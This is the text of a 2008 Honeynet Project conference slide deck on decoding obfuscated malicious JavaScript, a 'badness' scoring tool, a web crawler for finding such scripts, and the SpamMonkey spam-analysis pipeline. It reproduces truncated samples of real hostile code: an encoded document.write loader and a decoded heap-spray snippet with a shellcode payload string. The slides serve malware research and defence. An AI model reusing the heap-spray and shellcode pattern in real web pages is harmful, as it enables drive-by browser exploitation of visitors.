The Honeynet
P R O J E C T

Evil Javascript / SpamMonkey
CanSecWest08

David Watson   david@honeynet.org.uk

Evil Javascript

§ Like everyone else, we saw lots of obfuscated JS last year:

```
<script language=javascript>document.write(unescape("%3Cscrip
3Dx.length%2Ci%2Cj%2Cr%2Cb%3D%282048/2%29%2Cp%3D0%2Cs%3D0%2C
C42%2C41%2C0%2C0%2C0%2C0%2C0%2C0%2C13%2C26%2C49%2C38%2C45%2C9
C56%2C35%2C46%2C15%2C31%2C32%2C19%2C21%2C39%2C0%2C0%2C0%2C0%2
18%2C43%2C25%2C16%2C34%2C54%2C58%2C28%2C50%2C6%2C7%2C12%2C47%
E0%3Bj--%29%7Br%3D%27%27%3B%20for%28i%3DMath.min%28l%2Cb%29%3
%28p++%29-48%5D%29%3C%3Cs%3Bif%28s%29%7Br+%3DString.fromChar(
%7D%7Ddocument.write%28r%20%29%7D%7Ddc%28%22J5XKFj_YEY_jKJzj(
0JzKX5uju6cMk@_O6YG_U54iu6gnJbzYrfgnHz6KJQzYtz6rK@_jHc6tx54Jr
```

§ This is tedious to decode manually, so we built a tool to do it (like others) and released it:

http://www.ukhoneynet.org/2007/08/06/spotting-malicious-javascript/

Evil Javascript

§ Our tool used Spidermonkey JS engine

§ But: Jose Nazario was working on Norberto at that time and Phoneyc in late 2007

§ Similar goals and approaches, different strengths

§ However, we had a **Badness Meter** (TM)

§ Simple ratio of the number of Javascript keywords versus the total length of the code

§ Decided not to release & instead merge features

(Not Really) Evil Javascript

§ Simple step based command line usage
§ Non-obfuscated JS has low ¨badness¨:

```
david@monolith:~/decryptjs-1.0.4/samples$ more test.html
<HTML>
<HEAD>
        <script type=text/javascript>
                print("Hello World\n");
        </script>
</HEAD>
<BODY>
<p>Hi there</p>
</BODY>
</HTML>
david@monolith:~/decryptjs-1.0.4/samples$ decryptjs test.html
Examining Javascript

                print("Hello World\n");


Decode this Javascript (badness 24)? (y/n) [n]:
Save all decoded Javascript to file? (y/n): [y]
Filename? [fred.out]
```

Evil Javascript

§ Real evil JS:

§ Score and decode once:

§ High ¨badness¨

= still part encoded

Evil Javascript

§ High badness, decode a second time:

```
rWWIKvIugYIrKInIuIW6IIb6vmJuJM1k6_nIuryI3HIu6_nI6bJ]
u6_nI6_nI6_nI6jb6vmJuJM1kuncIK_W66Izutrb6YBJ6jJg6rNW
ZI3ny33HWrvmJuJM1ktru64mbLuHIuezb6eBJ63HjLFmGyLfzjYo
bn_XHg3DgCnHEG_AMuYz@tjVYcMz@_OVmYtzW1tXQ6YEJg_x5KiF
RWgYJN1MmJYyLJykjEzJzJYtu9pI5gJ_V6zyjgJ_V1J_vbn_IWJ_
JVEYJMfgyJHjJn@jJmWJ_xD4iRWgYJN6_JbyLbEytM_6tJdj_3Y_
YYvv1nz6gnzc6tXQbi@jzOuz6OYBb_r1jYMLG_UGWuY1gJU5XKFv

Decode this output (badness 710)? (y/n) [y]: 
```

§ Now we get the
actual payload

```
{
        var heapSprayToAddress = 0x0c0c0c0c;

        var payLoadCode = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u

"%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%

"%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%

"%uca87%u105f%u072d%uef0d%uefe

f%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +
```

Finding Evil Javascript

§ Started crawling the web using Heritrix (Archive.org)

§ Didn't get as much obfuscated JS as we expected

§ Only using JS mime types and file extensions

§ JS actually called in many other ways, especially in web 2.0 apps

```
@property
def objects(self):
    return self.find("//applet/@archive", "//applet/@code", "//img/@src", "//link/@href", "//meta[@http-equiv='refre
sh']/@content", "//object/@data", "//object/@usemap", "//object/@codebase")

@property
def javascript(self):
    return self.find("//script/@src")

@property
def inlineJavascript(self):
    return self.find("//@onload", "//@onunload", "//@onfocus", "//@onblur", "//@onchange", "//@onsubmit", "//@onmous
eover", "//onmouseout", "//script/text()")
```

§ Wrote simple web crawler that understood multiple calling methods (python, asynchronous Twisted)

§ Optionally display results in TurboGears web UI

David Watson (david@honeynet.org.uk)   7

Evil Javascript

§ Need to improve simple web crawler (functional but doesn't play nice!)

§ Still improving TurboGears based web UI

§ SVN release fairly soon

§ More web console features to come

§ Phoneyc code merging?

§ Anti-spam techniques for spotting obfuscated JS?

§ Browser plug-in / NoScript extension?

SpamMonkey

§ Deliver spam to IMAP accounts

§ Process new messages (inc attachments)

§ Extract URLs and log information in DB

§ Pass to Evil JS code and client honeypot farm

§ Crawl using Capture-HPC client honeypot

§ Record malicious I/O (file, network, registry)

§ Add results to DB and present in web UI

§ Help humans do their analysis

§ Hope to release fairly soon

Evil Javascript / SpamMonkey

http://www.ukhoneynet.org

Any Questions?

David Watson   david@honeynet.org.uk